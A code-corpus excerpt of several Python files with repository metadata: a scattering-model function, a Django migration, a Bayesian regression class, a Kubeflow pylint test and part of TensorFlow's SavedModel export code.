self.Nr) strho=self.params['strho'].value tst=self.params['tst'].value lrho=self.params['lrho'].value lexp=self.params['lexp'].value #rhosol=self.params['rhosol'].value norm=self.params['norm'].value bkg=self.params['bkg'].value Rc = self.params['Rc'].value Rp=(3/(4*np.pi*norm*6.022e23))**(1.0/3.0)*1e9 rho=self.solrho(r, Rp=Rp, Rc=Rc, strho=strho, tst=tst, lrho=lrho, lexp=lexp, rhosol=self.rhosol) self.output_params['Electron_Density']={'x':r,'y':rho} self.output_params['scaler_parameters']['Rp']=Rp form=norm*self.calc_form(self.x,r,rho)+bkg return form if __name__=='__main__': x=np.arange(0.001,1.0,0.1) fun=SphericalShell_expDecay(x=x) print(fun.y())

46.62963

177

0.624305

os.path.abspath('./Functions')) sys.path.append(os.path.abspath('./Fortran_rountines')) if type(x)==list: self.x=np.array(x) else: self.x=x self.rmin=rmin self.rmax=rmax self.Nr=Nr self.Rc=Rc self.strho=strho self.tst=tst self.lrho=lrho self.lexp=lexp self.rhosol=rhosol self.norm=norm self.bkg=bkg self.__mpar__=mpar self.choices={} self.__xrdb__=XrayDB() self.init_params() def init_params(self): self.params=Parameters() self.params.add('Rc',value=self.Rc,vary=0,min=-np.inf,max=np.inf,expr=None,brute_step=0.1) self.params.add('strho', value=self.strho, vary=0, min=-np.inf, max=np.inf, expr=None, brute_step=0.1) self.params.add('tst', value=self.tst, vary=0, min=-np.inf, max=np.inf, expr=None, brute_step=0.1) self.params.add('lrho', value=self.lrho, vary=0, min=-np.inf, max=np.inf, expr=None, brute_step=0.1) self.params.add('lexp', value=self.lexp, vary=0, min=-np.inf, max=np.inf, expr=None, brute_step=0.1) self.params.add('norm', value=self.norm, vary=0, min=-np.inf, max=np.inf, expr=None, brute_step=0.1) self.params.add('bkg', value=self.bkg, vary=0, min=-np.inf, max=np.inf, expr=None, brute_step=0.1) def solrho(self, r, Rp=100.0, Rc=12.5, strho=1.0, tst=2.0, lrho=0.5, lexp=10.0, rhosol=0.0): R1=Rc R2=Rc+tst integral=lexp*(R2**2*np.exp(-R2/lexp)-Rp**2*np.exp(-Rp/lexp))+2*lexp**2*(R2*np.exp(-R2/lexp)-Rp*np.exp(-Rp/lexp))+2*lexp**3*(np.exp(-Rp/lexp)-np.exp(-R2/lexp)) rhos=(rhosol*(Rp**3-R1**3)-strho*(R2**3-R1**3)-3*lrho*integral*np.exp(R2/lexp))/(Rp**3-R2**3) self.output_params['scaler_parameters']['rho_bulk']=rhos stern = np.where(r > R1, strho, 0.0) * np.where(r > R2, 0.0, 1.0) diffuse = np.where(r > R2, lrho * np.exp(-(r - R2) / lexp) + rhos, 0.0) rho = (stern + diffuse) return rho def calc_form(self, q, r, rho): dr = r[1] - r[0] form = np.zeros_like(q) rho = (rho - rho[-1])* self.No/1e27 for r1, rho1 in zip(r, rho): form = form + 4 * np.pi * r1 * rho1 * np.sin(q * r1) / q form = (np.absolute(form) * dr)**2 return self.re2 * form * 1e-16 * self.No / 1e3 def y(self): self.output_params={} self.output_params['scaler_parameters']={} r=np.linspace(self.rmin, self.rmax, self.Nr) strho=self.params['strho'].value tst=self.params['tst'].value lrho=self.params['lrho'].value lexp=self.params['lexp'].value norm=self.params['norm'].value bkg=self.params['bkg'].value Rc = self.params['Rc'].value Rp=(3/(4*np.pi*norm*6.022e23))**(1.0/3.0)*1e9 rho=self.solrho(r, Rp=Rp, Rc=Rc, strho=strho, tst=tst, lrho=lrho, lexp=lexp, rhosol=self.rhosol) self.output_params['Electron_Density']={'x':r,'y':rho} self.output_params['scaler_parameters']['Rp']=Rp form=norm*self.calc_form(self.x,r,rho)+bkg return form if __name__=='__main__': x=np.arange(0.001,1.0,0.1) fun=SphericalShell_expDecay(x=x) print(fun.y())

true

f7327574c3e9432aac029aee865c8a55bab5ede4

282

py

Python

hexa/core/migrations/0008_ci_text.py

qgerome/openhexa-app

8c9377b2ad972121d8e9575f5d52420212b52ed4

[ "MIT" ]

4

2021-07-19T12:53:21.000Z

2022-01-26T17:45:02.000Z

hexa/core/migrations/0008_ci_text.py

qgerome/openhexa-app

8c9377b2ad972121d8e9575f5d52420212b52ed4

[ "MIT" ]

20

2021-05-17T12:27:06.000Z

2022-03-30T11:35:26.000Z

hexa/core/migrations/0008_ci_text.py

qgerome/openhexa-app

8c9377b2ad972121d8e9575f5d52420212b52ed4

[ "MIT" ]

2

2021-09-07T04:19:59.000Z

2022-02-08T15:33:29.000Z

# Generated by Django 4.0 on 2022-01-10 15:42 from django.contrib.postgres.operations import CITextExtension from django.db import migrations class Migration(migrations.Migration): dependencies = [ ("core", "0007_ltree"), ] operations = [CITextExtension()]

20.142857

62

0.712766

from django.contrib.postgres.operations import CITextExtension from django.db import migrations class Migration(migrations.Migration): dependencies = [ ("core", "0007_ltree"), ] operations = [CITextExtension()]

true

f7327641ba028e0a7583ec0d94fadffc14edd2ba

3,143

py

Python

prml/linear/_bayesian_regression.py

alexandru-dinu/PRML

acd823e098df67abe0306a70225e7539f8edda40

[ "MIT" ]

null

prml/linear/_bayesian_regression.py

alexandru-dinu/PRML

acd823e098df67abe0306a70225e7539f8edda40

[ "MIT" ]

null

prml/linear/_bayesian_regression.py

alexandru-dinu/PRML

acd823e098df67abe0306a70225e7539f8edda40

[ "MIT" ]

1

2019-06-22T20:56:02.000Z

import numpy as np from prml.linear._regression import Regression class BayesianRegression(Regression): """Bayesian regression model. w ~ N(w|0, alpha^(-1)I) y = X @ w t ~ N(t|X @ w, beta^(-1)) """ def __init__(self, alpha: float = 1.0, beta: float = 1.0): """Initialize bayesian linear regression model. Parameters ---------- alpha : float, optional Precision parameter of the prior, by default 1. beta : float, optional Precision parameter of the likelihood, by default 1. """ self.alpha = alpha self.beta = beta self.w_mean = None self.w_precision = None def _is_prior_defined(self) -> bool: return self.w_mean is not None and self.w_precision is not None def _get_prior(self, ndim: int) -> tuple: if self._is_prior_defined(): return self.w_mean, self.w_precision else: return np.zeros(ndim), self.alpha * np.eye(ndim) def fit(self, x_train: np.ndarray, y_train: np.ndarray): """Bayesian update of parameters given training dataset. Parameters ---------- x_train : np.ndarray training data independent variable (N, n_features) y_train : np.ndarray training data dependent variable """ mean_prev, precision_prev = self._get_prior(np.size(x_train, 1)) w_precision = precision_prev + self.beta * x_train.T @ x_train w_mean = np.linalg.solve( w_precision, precision_prev @ mean_prev + self.beta * x_train.T @ y_train, ) self.w_mean = w_mean self.w_precision = w_precision self.w_cov = np.linalg.inv(self.w_precision) def predict( self, x: np.ndarray, return_std: bool = False, sample_size: int = None, ): """Return mean (and standard deviation) of predictive distribution. Parameters ---------- x : np.ndarray independent variable (N, n_features) return_std : bool, optional flag to return standard deviation (the default is False) sample_size : int, optional number of samples to draw from the predictive distribution (the default is None, no sampling from the distribution) Returns ------- y : np.ndarray mean of the predictive distribution (N,) y_std : np.ndarray standard deviation of the predictive distribution (N,) y_sample : np.ndarray samples from the predictive distribution (N, sample_size) """ if sample_size is not None: w_sample = np.random.multivariate_normal( self.w_mean, self.w_cov, size=sample_size, ) y_sample = x @ w_sample.T return y_sample y = x @ self.w_mean if return_std: y_var = 1 / self.beta + np.sum(x @ self.w_cov * x, axis=1) y_std = np.sqrt(y_var) return y, y_std return y

31.43

75

0.570474

import numpy as np from prml.linear._regression import Regression class BayesianRegression(Regression): def __init__(self, alpha: float = 1.0, beta: float = 1.0): self.alpha = alpha self.beta = beta self.w_mean = None self.w_precision = None def _is_prior_defined(self) -> bool: return self.w_mean is not None and self.w_precision is not None def _get_prior(self, ndim: int) -> tuple: if self._is_prior_defined(): return self.w_mean, self.w_precision else: return np.zeros(ndim), self.alpha * np.eye(ndim) def fit(self, x_train: np.ndarray, y_train: np.ndarray): mean_prev, precision_prev = self._get_prior(np.size(x_train, 1)) w_precision = precision_prev + self.beta * x_train.T @ x_train w_mean = np.linalg.solve( w_precision, precision_prev @ mean_prev + self.beta * x_train.T @ y_train, ) self.w_mean = w_mean self.w_precision = w_precision self.w_cov = np.linalg.inv(self.w_precision) def predict( self, x: np.ndarray, return_std: bool = False, sample_size: int = None, ): if sample_size is not None: w_sample = np.random.multivariate_normal( self.w_mean, self.w_cov, size=sample_size, ) y_sample = x @ w_sample.T return y_sample y = x @ self.w_mean if return_std: y_var = 1 / self.beta + np.sum(x @ self.w_cov * x, axis=1) y_std = np.sqrt(y_var) return y, y_std return y

true

f73276b8fb36b5de1ebbd4da742bc1622708cb89

3,072

py

Python

py/kubeflow/testing/py_lint_test.py

ChanYiLin/testing

fab6c2782d18c3439b2699df7d1d7da154393e06

[ "Apache-2.0" ]

null

py/kubeflow/testing/py_lint_test.py

ChanYiLin/testing

fab6c2782d18c3439b2699df7d1d7da154393e06

[ "Apache-2.0" ]

451

2021-01-22T12:27:17.000Z

2022-03-30T02:08:22.000Z

py/kubeflow/testing/py_lint_test.py

ChanYiLin/testing

fab6c2782d18c3439b2699df7d1d7da154393e06

[ "Apache-2.0" ]

null

import fnmatch import logging import os import subprocess from kubeflow.testing import util import pytest logging.basicConfig( level=logging.INFO, format=('%(levelname)s|%(asctime)s' '|%(pathname)s|%(lineno)d| %(message)s'), datefmt='%Y-%m-%dT%H:%M:%S', ) logging.getLogger().setLevel(logging.INFO) def should_exclude(root, full_dir_excludes): for e in full_dir_excludes: if root.startswith(e): return True return False def test_lint(record_xml_attribute, src_dir, rcfile): # pylint: disable=redefined-outer-name # Override the classname attribute in the junit file. # This makes it easy to group related tests in test grid. # http://doc.pytest.org/en/latest/usage.html#record-xml-attribute util.set_pytest_junit(record_xml_attribute, "test_py_lint") logging.info('Running test_lint') pylint_bin = "pylint" # Print out the pylint version because different versions can produce # different results. util.run([pylint_bin, "--version"]) # kubeflow_testing is imported as a submodule so we should exclude it # TODO(jlewi): We should make this an argument. dir_excludes = [ "dashboard/frontend/node_modules", "kubeflow_testing", "dev-kubeflow-org/ks-app/vendor", # TODO(https://github.com/kubeflow/testing/issues/560) stop skipping # py/kubeflow/testing/cd once we update python & pylint so f style # strings don't generate lint errors. "kubeflow/testing", "release-infra", ] full_dir_excludes = [ os.path.join(os.path.abspath(src_dir), f) for f in dir_excludes ] logging.info("Directories to be excluded: %s", ",".join(full_dir_excludes)) # TODO(jlewi): Use pathlib once we switch to python3. includes = ["*.py"] failed_files = [] if not rcfile: rcfile = os.path.join(src_dir, ".pylintrc") for root, dirs, files in os.walk(os.path.abspath(src_dir), topdown=True): # Exclude vendor directories and all sub files. if "vendor" in root.split(os.sep): continue # excludes can be done with fnmatch.filter and complementary set, # but it's more annoying to read. if should_exclude(root, full_dir_excludes): logging.info("Skipping directory %s", root) continue dirs[:] = [d for d in dirs] for pat in includes: for f in fnmatch.filter(files, pat): full_path = os.path.join(root, f) try: util.run( [pylint_bin, "--rcfile=" + rcfile, full_path], cwd=src_dir) except subprocess.CalledProcessError: failed_files.append(full_path[len(src_dir):]) if failed_files: failed_files.sort() logging.error("%s files had lint errors:\n%s", len(failed_files), "\n".join(failed_files)) else: logging.info("No lint issues.") assert not failed_files if __name__ == "__main__": logging.basicConfig( level=logging.INFO, format=('%(levelname)s|%(asctime)s' '|%(pathname)s|%(lineno)d| %(message)s'), datefmt='%Y-%m-%dT%H:%M:%S', ) logging.getLogger().setLevel(logging.INFO) pytest.main()

30.72

92

0.675456

import fnmatch import logging import os import subprocess from kubeflow.testing import util import pytest logging.basicConfig( level=logging.INFO, format=('%(levelname)s|%(asctime)s' '|%(pathname)s|%(lineno)d| %(message)s'), datefmt='%Y-%m-%dT%H:%M:%S', ) logging.getLogger().setLevel(logging.INFO) def should_exclude(root, full_dir_excludes): for e in full_dir_excludes: if root.startswith(e): return True return False def test_lint(record_xml_attribute, src_dir, rcfile): nit(record_xml_attribute, "test_py_lint") logging.info('Running test_lint') pylint_bin = "pylint" util.run([pylint_bin, "--version"]) dir_excludes = [ "dashboard/frontend/node_modules", "kubeflow_testing", "dev-kubeflow-org/ks-app/vendor", "kubeflow/testing", "release-infra", ] full_dir_excludes = [ os.path.join(os.path.abspath(src_dir), f) for f in dir_excludes ] logging.info("Directories to be excluded: %s", ",".join(full_dir_excludes)) # TODO(jlewi): Use pathlib once we switch to python3. includes = ["*.py"] failed_files = [] if not rcfile: rcfile = os.path.join(src_dir, ".pylintrc") for root, dirs, files in os.walk(os.path.abspath(src_dir), topdown=True): # Exclude vendor directories and all sub files. if "vendor" in root.split(os.sep): continue # excludes can be done with fnmatch.filter and complementary set, # but it's more annoying to read. if should_exclude(root, full_dir_excludes): logging.info("Skipping directory %s", root) continue dirs[:] = [d for d in dirs] for pat in includes: for f in fnmatch.filter(files, pat): full_path = os.path.join(root, f) try: util.run( [pylint_bin, "--rcfile=" + rcfile, full_path], cwd=src_dir) except subprocess.CalledProcessError: failed_files.append(full_path[len(src_dir):]) if failed_files: failed_files.sort() logging.error("%s files had lint errors:\n%s", len(failed_files), "\n".join(failed_files)) else: logging.info("No lint issues.") assert not failed_files if __name__ == "__main__": logging.basicConfig( level=logging.INFO, format=('%(levelname)s|%(asctime)s' '|%(pathname)s|%(lineno)d| %(message)s'), datefmt='%Y-%m-%dT%H:%M:%S', ) logging.getLogger().setLevel(logging.INFO) pytest.main()

true

f73276ff40784e608204573966e21fed99f4909c

38,349

py

Python

tensorflow/python/saved_model/save.py

jnorwood/tensorflow

67ab6c9cebc4cbb2103246a1523d04261bef22d2

[ "Apache-2.0" ]

2

2019-06-01T08:12:42.000Z

2019-06-01T08:13:22.000Z

tensorflow/python/saved_model/save.py

jnorwood/tensorflow

67ab6c9cebc4cbb2103246a1523d04261bef22d2

[ "Apache-2.0" ]

null

tensorflow/python/saved_model/save.py

jnorwood/tensorflow

67ab6c9cebc4cbb2103246a1523d04261bef22d2

[ "Apache-2.0" ]

1

2019-05-25T17:45:38.000Z

# Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Exports a SavedModel from a Trackable Python object.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import os from tensorflow.core.framework import versions_pb2 from tensorflow.core.protobuf import meta_graph_pb2 from tensorflow.core.protobuf import saved_model_pb2 from tensorflow.core.protobuf import saved_object_graph_pb2 from tensorflow.python.eager import context from tensorflow.python.eager import def_function from tensorflow.python.eager import function as defun from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import meta_graph from tensorflow.python.framework import ops from tensorflow.python.framework import tensor_util from tensorflow.python.framework import versions from tensorflow.python.lib.io import file_io from tensorflow.python.ops import array_ops from tensorflow.python.ops import control_flow_ops from tensorflow.python.ops import resource_variable_ops from tensorflow.python.saved_model import builder_impl from tensorflow.python.saved_model import constants from tensorflow.python.saved_model import function_serialization from tensorflow.python.saved_model import nested_structure_coder from tensorflow.python.saved_model import revived_types from tensorflow.python.saved_model import signature_constants from tensorflow.python.saved_model import signature_def_utils from tensorflow.python.saved_model import signature_serialization from tensorflow.python.saved_model import tag_constants from tensorflow.python.saved_model import utils_impl from tensorflow.python.training.saving import functional_saver from tensorflow.python.training.tracking import base from tensorflow.python.training.tracking import graph_view from tensorflow.python.training.tracking import object_identity from tensorflow.python.training.tracking import tracking from tensorflow.python.training.tracking import util from tensorflow.python.util import compat from tensorflow.python.util.tf_export import tf_export _UNCOPIABLE_DTYPES = frozenset((dtypes.resource, dtypes.variant)) # A container for an EagerTensor constant which has been copied to the exported # Graph. _CapturedConstant = collections.namedtuple( "_CapturedConstant", ["eager_tensor", "graph_tensor"]) class _AugmentedGraphView(graph_view.ObjectGraphView): """An extendable graph which also tracks functions attached to objects. Extensions through `add_object` appear in the object graph and any checkpoints generated from it, even if they are not dependencies of the node they were attached to in the saving program. For example a `.signatures` attribute is added to exported SavedModel root objects without modifying the root object itself. Also tracks functions attached to objects in the graph, through the caching `list_functions` method. Enumerating functions only through this method ensures that we get a consistent view of functions, even if object attributes create new functions every time they are accessed. """ def __init__(self, root): if (not context.executing_eagerly() and not ops.inside_function()): saveables_cache = object_identity.ObjectIdentityWeakKeyDictionary() else: saveables_cache = None super(_AugmentedGraphView, self).__init__(root, saveables_cache) # Object -> (name -> dep) self._extra_dependencies = object_identity.ObjectIdentityDictionary() self._functions = object_identity.ObjectIdentityDictionary() def add_object(self, parent_node, name_in_parent, subgraph_root): """Attach an object to `parent_node`, overriding any existing dependency.""" self._extra_dependencies.setdefault( parent_node, {})[name_in_parent] = subgraph_root def list_dependencies(self, obj): """Overrides a parent method to include `add_object` objects.""" extra_dependencies = self._extra_dependencies.get(obj, {}) used_names = set() for name, dep in super(_AugmentedGraphView, self).list_dependencies(obj): used_names.add(name) if name in extra_dependencies: yield base.TrackableReference(name, extra_dependencies[name]) else: yield base.TrackableReference(name, dep) for name, dep in extra_dependencies.items(): if name in used_names: continue yield base.TrackableReference(name, dep) def list_functions(self, obj): obj_functions = self._functions.get(obj, None) if obj_functions is None: obj_functions = obj._list_functions_for_serialization() # pylint: disable=protected-access self._functions[obj] = obj_functions return obj_functions class _SaveableView(object): """Provides a frozen view over a trackable root. This class helps creating a single stable view over an object to save. The saving code should access properties and functions via this class and not via the original object as there are cases where an object construct their trackable attributes and functions dynamically per call and will yield different objects if invoked more than once. Changes to the graph, for example adding objects, must happen in `checkpoint_view` (an `_AugmentedGraphView`) before the `_SaveableView` is constructed. Changes after the `_SaveableView` has been constructed will be ignored. """ def __init__(self, checkpoint_view): self.checkpoint_view = checkpoint_view trackable_objects, node_ids, slot_variables = ( self.checkpoint_view.objects_ids_and_slot_variables()) self.nodes = trackable_objects self.node_ids = node_ids self.captured_tensor_node_ids = object_identity.ObjectIdentityDictionary() self.slot_variables = slot_variables self.concrete_functions = [] # Also add `Function`s as nodes. nodes_without_functions = list(self.nodes) seen_function_names = set() for node in nodes_without_functions: for function in checkpoint_view.list_functions(node).values(): if function not in self.node_ids: self.node_ids[function] = len(self.nodes) self.nodes.append(function) if isinstance(function, def_function.Function): # Force listing the concrete functions for the side effects: # - populate the cache for functions that have an input_signature # and have not been called. # - force side effects of creation of concrete functions, e.g. create # variables on first run. concrete_functions = ( function._list_all_concrete_functions_for_serialization()) # pylint: disable=protected-access else: concrete_functions = [function] for concrete_function in concrete_functions: if concrete_function.name not in seen_function_names: seen_function_names.add(concrete_function.name) self.concrete_functions.append(concrete_function) @property def root(self): return self.nodes[0] def fill_object_graph_proto(self, proto): """Populate the nodes, children and slot_variables of a SavedObjectGraph.""" for node_id, node in enumerate(self.nodes): assert self.node_ids[node] == node_id object_proto = proto.nodes.add() object_proto.slot_variables.extend(self.slot_variables.get(node, ())) if isinstance(node, (def_function.Function, defun.ConcreteFunction, _CapturedConstant)): continue for child in self.checkpoint_view.list_dependencies(node): child_proto = object_proto.children.add() child_proto.node_id = self.node_ids[child.ref] child_proto.local_name = child.name for local_name, ref_function in ( self.checkpoint_view.list_functions(node).items()): child_proto = object_proto.children.add() child_proto.node_id = self.node_ids[ref_function] child_proto.local_name = local_name def map_resources(self): """Makes new resource handle ops corresponding to existing resource tensors. Creates resource handle ops in the current default graph, whereas `accessible_objects` will be from an eager context. Resource mapping adds resource handle ops to the main GraphDef of a SavedModel, which allows the C++ loader API to interact with variables. Returns: A tuple of (object_map, resource_map, asset_info): object_map: A dictionary mapping from object in `accessible_objects` to replacement objects created to hold the new resource tensors. resource_map: A dictionary mapping from resource tensors extracted from `accessible_objects` to newly created resource tensors. asset_info: An _AssetInfo tuple describing external assets referenced from accessible_objects. """ # Only makes sense when adding to the export Graph assert not context.executing_eagerly() # TODO(allenl): Handle MirroredVariables and other types of variables which # may need special casing. object_map = object_identity.ObjectIdentityDictionary() resource_map = {} asset_info = _AssetInfo( asset_defs=[], asset_initializers_by_resource={}, asset_filename_map={}, asset_index={}) for node_id, obj in enumerate(self.nodes): if isinstance(obj, tracking.CapturableResource): # pylint: disable=protected-access with ops.device(obj._resource_device): new_resource = obj._create_resource() # pylint: enable=protected-access resource_map[obj.resource_handle] = new_resource self.captured_tensor_node_ids[obj.resource_handle] = node_id elif resource_variable_ops.is_resource_variable(obj): new_variable = resource_variable_ops.copy_to_graph_uninitialized(obj) object_map[obj] = new_variable resource_map[obj.handle] = new_variable.handle self.captured_tensor_node_ids[obj.handle] = node_id elif isinstance(obj, tracking.TrackableAsset): _process_asset(obj, asset_info, resource_map) self.captured_tensor_node_ids[obj.asset_path] = node_id for concrete_function in self.concrete_functions: for capture in concrete_function.captured_inputs: if (tensor_util.is_tensor(capture) and capture.dtype not in _UNCOPIABLE_DTYPES and capture not in self.captured_tensor_node_ids): copied_tensor = constant_op.constant( tensor_util.constant_value(capture)) node_id = len(self.nodes) node = _CapturedConstant( eager_tensor=capture, graph_tensor=copied_tensor) self.nodes.append(node) self.node_ids[capture] = node_id self.node_ids[node] = node_id self.captured_tensor_node_ids[capture] = node_id resource_map[capture] = copied_tensor return object_map, resource_map, asset_info def _tensor_dict_to_tensorinfo(tensor_dict): return {key: utils_impl.build_tensor_info_internal(value) for key, value in tensor_dict.items()} def _map_captures_to_created_tensors( original_captures, resource_map): """Maps eager tensors captured by a function to Graph resources for export. Args: original_captures: A dictionary mapping from tensors captured by the function to interior placeholders for those tensors (inside the function body). resource_map: A dictionary mapping from resource tensors owned by the eager context to resource tensors in the exported graph. Returns: A list of stand-in tensors which belong to the exported graph, corresponding to the function's captures. Raises: AssertionError: If the function references a resource which is not part of `resource_map`. """ export_captures = [] for exterior, interior in original_captures.items(): mapped_resource = resource_map.get(exterior, None) if mapped_resource is None: raise AssertionError( ("Tried to export a function which references untracked object {}." "TensorFlow objects (e.g. tf.Variable) captured by functions must " "be tracked by assigning them to an attribute of a tracked object " "or assigned to an attribute of the main object directly.") .format(interior)) export_captures.append(mapped_resource) return export_captures def _map_function_arguments_to_created_inputs( function_arguments, signature_key, function_name): """Creates exterior placeholders in the exported graph for function arguments. Functions have two types of inputs: tensors captured from the outside (eager) context, and arguments to the function which we expect to receive from the user at each call. `_map_captures_to_created_tensors` replaces captured tensors with stand-ins (typically these are resource dtype tensors associated with variables). `_map_function_inputs_to_created_inputs` runs over every argument, creating a new placeholder for each which will belong to the exported graph rather than the function body. Args: function_arguments: A list of argument placeholders in the function body. signature_key: The name of the signature being exported, for error messages. function_name: The name of the function, for error messages. Returns: A tuple of (mapped_inputs, exterior_placeholders) mapped_inputs: A list with entries corresponding to `function_arguments` containing all of the inputs of the function gathered from the exported graph (both captured resources and arguments). exterior_argument_placeholders: A dictionary mapping from argument names to placeholders in the exported graph, containing the explicit arguments to the function which a user is expected to provide. Raises: ValueError: If argument names are not unique. """ # `exterior_argument_placeholders` holds placeholders which are outside the # function body, directly contained in a MetaGraph of the SavedModel. The # function body itself contains nearly identical placeholders used when # running the function, but these exterior placeholders allow Session-based # APIs to call the function using feeds and fetches which name Tensors in the # MetaGraph. exterior_argument_placeholders = {} mapped_inputs = [] for placeholder in function_arguments: # `export_captures` contains an exhaustive set of captures, so if we don't # find the input there then we now know we have an argument. user_input_name = compat.as_str_any( placeholder.op.get_attr("_user_specified_name")) # If the internal placeholders for a function have names which were # uniquified by TensorFlow, then a single user-specified argument name # must refer to multiple Tensors. The resulting signatures would be # confusing to call. Instead, we throw an exception telling the user to # specify explicit names. if user_input_name != placeholder.op.name: # This should be unreachable, since concrete functions may not be # generated with non-unique argument names. raise ValueError( ("Got non-flat/non-unique argument names for SavedModel " "signature '{}': more than one argument to '{}' was named '{}'. " "Signatures have one Tensor per named input, so to have " "predictable names Python functions used to generate these " "signatures should avoid *args and Tensors in nested " "structures unless unique names are specified for each. Use " "tf.TensorSpec(..., name=...) to provide a name for a Tensor " "input.") .format(signature_key, compat.as_str_any(function_name), user_input_name)) arg_placeholder = array_ops.placeholder( shape=placeholder.shape, dtype=placeholder.dtype, name="{}_{}".format(signature_key, user_input_name)) exterior_argument_placeholders[user_input_name] = arg_placeholder mapped_inputs.append(arg_placeholder) return mapped_inputs, exterior_argument_placeholders def _call_function_with_mapped_captures(function, args, resource_map): """Calls `function` in the exported graph, using mapped resource captures.""" export_captures = _map_captures_to_created_tensors( function.graph.captures, resource_map) mapped_inputs = args + export_captures # Calls the function quite directly, since we have new captured resource # tensors we need to feed in which weren't part of the original function # definition. # pylint: disable=protected-access outputs = function._build_call_outputs( function._inference_function.call(context.context(), mapped_inputs)) return outputs def _generate_signatures(signature_functions, resource_map): """Validates and calls `signature_functions` in the default graph. Args: signature_functions: A dictionary mapping string keys to concrete TensorFlow functions (e.g. from `signature_serialization.canonicalize_signatures`) which will be used to generate SignatureDefs. resource_map: A dictionary mapping from resource tensors in the eager context to resource tensors in the Graph being exported. This dictionary is used to re-bind resources captured by functions to tensors which will exist in the SavedModel. Returns: Each function in the `signature_functions` dictionary is called with placeholder Tensors, generating a function call operation and output Tensors. The placeholder Tensors, the function call operation, and the output Tensors from the function call are part of the default Graph. This function then returns a dictionary with the same structure as `signature_functions`, with the concrete functions replaced by SignatureDefs implicitly containing information about how to call each function from a TensorFlow 1.x Session / the C++ Loader API. These SignatureDefs reference the generated placeholders and Tensor outputs by name. The caller is expected to include the default Graph set while calling this function as a MetaGraph in a SavedModel, including the returned SignatureDefs as part of that MetaGraph. """ signatures = {} for signature_key, function in sorted(signature_functions.items()): if function.graph.captures: argument_inputs = function.graph.inputs[:-len(function.graph.captures)] else: argument_inputs = function.graph.inputs mapped_inputs, exterior_argument_placeholders = ( _map_function_arguments_to_created_inputs( argument_inputs, signature_key, function.name)) outputs = _call_function_with_mapped_captures( function, mapped_inputs, resource_map) signatures[signature_key] = signature_def_utils.build_signature_def( _tensor_dict_to_tensorinfo(exterior_argument_placeholders), _tensor_dict_to_tensorinfo(outputs), method_name=signature_constants.PREDICT_METHOD_NAME) return signatures def _trace_resource_initializers(accessible_objects): """Create concrete functions from `CapturableResource` objects.""" resource_initializers = [] def _wrap_initializer(obj): obj._initialize() # pylint: disable=protected-access return constant_op.constant(1.) # Dummy control output def _wrap_obj_initializer(obj): return lambda: _wrap_initializer(obj) for obj in accessible_objects: if isinstance(obj, tracking.CapturableResource): resource_initializers.append(def_function.function( _wrap_obj_initializer(obj), # All inputs are captures. input_signature=[]).get_concrete_function()) return resource_initializers _AssetInfo = collections.namedtuple( "_AssetInfo", [ # List of AssetFileDef protocol buffers "asset_defs", # Map from asset variable resource Tensors to their init ops "asset_initializers_by_resource", # Map from base asset filenames to full paths "asset_filename_map", # Map from TrackableAsset to index of corresponding AssetFileDef "asset_index"]) def _process_asset(trackable_asset, asset_info, resource_map): """Add `trackable_asset` to `asset_info` and `resource_map`.""" original_path_tensor = trackable_asset.asset_path original_path = tensor_util.constant_value(original_path_tensor) try: original_path = str(original_path.astype(str)) except AttributeError: # Already a string rather than a numpy array pass path = builder_impl.get_asset_filename_to_add( asset_filepath=original_path, asset_filename_map=asset_info.asset_filename_map) # TODO(andresp): Instead of mapping 1-1 between trackable asset # and asset in the graph def consider deduping the assets that # point to the same file. asset_path_initializer = array_ops.placeholder( shape=original_path_tensor.shape, dtype=dtypes.string, name="asset_path_initializer") asset_variable = resource_variable_ops.ResourceVariable( asset_path_initializer) asset_info.asset_filename_map[path] = original_path asset_def = meta_graph_pb2.AssetFileDef() asset_def.filename = path asset_def.tensor_info.name = asset_path_initializer.name asset_info.asset_defs.append(asset_def) asset_info.asset_initializers_by_resource[original_path_tensor] = ( asset_variable.initializer) asset_info.asset_index[trackable_asset] = len(asset_info.asset_defs) - 1 resource_map[original_path_tensor] = asset_variable def _fill_meta_graph_def(meta_graph_def, saveable_view, signature_functions): """Generates a MetaGraph which calls `signature_functions`. Args: meta_graph_def: The MetaGraphDef proto to fill. saveable_view: The _SaveableView being exported. signature_functions: A dictionary mapping signature keys to concrete functions containing signatures to add to the MetaGraph. Returns: An _AssetInfo, which contains information to help creating the SavedModel. """ # List objects from the eager context to make sure Optimizers give us the # right Graph-dependent variables. accessible_objects = saveable_view.nodes resource_initializer_functions = _trace_resource_initializers( accessible_objects) exported_graph = ops.Graph() resource_initializer_ops = [] with exported_graph.as_default(): object_map, resource_map, asset_info = saveable_view.map_resources() for resource_initializer_function in resource_initializer_functions: asset_dependencies = [] for capture in resource_initializer_function.graph.external_captures: asset_initializer = asset_info.asset_initializers_by_resource.get( capture, None) if asset_initializer is not None: asset_dependencies.append(asset_initializer) with ops.control_dependencies(asset_dependencies): resource_initializer_ops.append( _call_function_with_mapped_captures( resource_initializer_function, [], resource_map)) resource_initializer_ops.extend( asset_info.asset_initializers_by_resource.values()) with ops.control_dependencies(resource_initializer_ops): init_op = control_flow_ops.no_op() # Add the same op to the main_op collection and to the init_op # signature. The collection is for compatibility with older loader APIs; # only one will be executed. meta_graph_def.collection_def[constants.MAIN_OP_KEY].node_list.value.append( init_op.name) meta_graph_def.signature_def[constants.INIT_OP_SIGNATURE_KEY].CopyFrom( signature_def_utils.op_signature_def( init_op, constants.INIT_OP_SIGNATURE_KEY)) # Saving an object-based checkpoint again gathers variables. We need to do the # gathering from the eager context so Optimizers save the right set of # variables, but want any operations associated with the save/restore to be in # the exported graph (thus the `to_graph` argument). saver = functional_saver.MultiDeviceSaver( saveable_view.checkpoint_view.frozen_saveable_objects( object_map=object_map, to_graph=exported_graph)) with exported_graph.as_default(): signatures = _generate_signatures(signature_functions, resource_map) for concrete_function in saveable_view.concrete_functions: concrete_function.add_to_graph() saver_def = saver.to_proto() meta_graph_def.saver_def.CopyFrom(saver_def) graph_def = exported_graph.as_graph_def(add_shapes=True) meta_graph_def.graph_def.CopyFrom(graph_def) 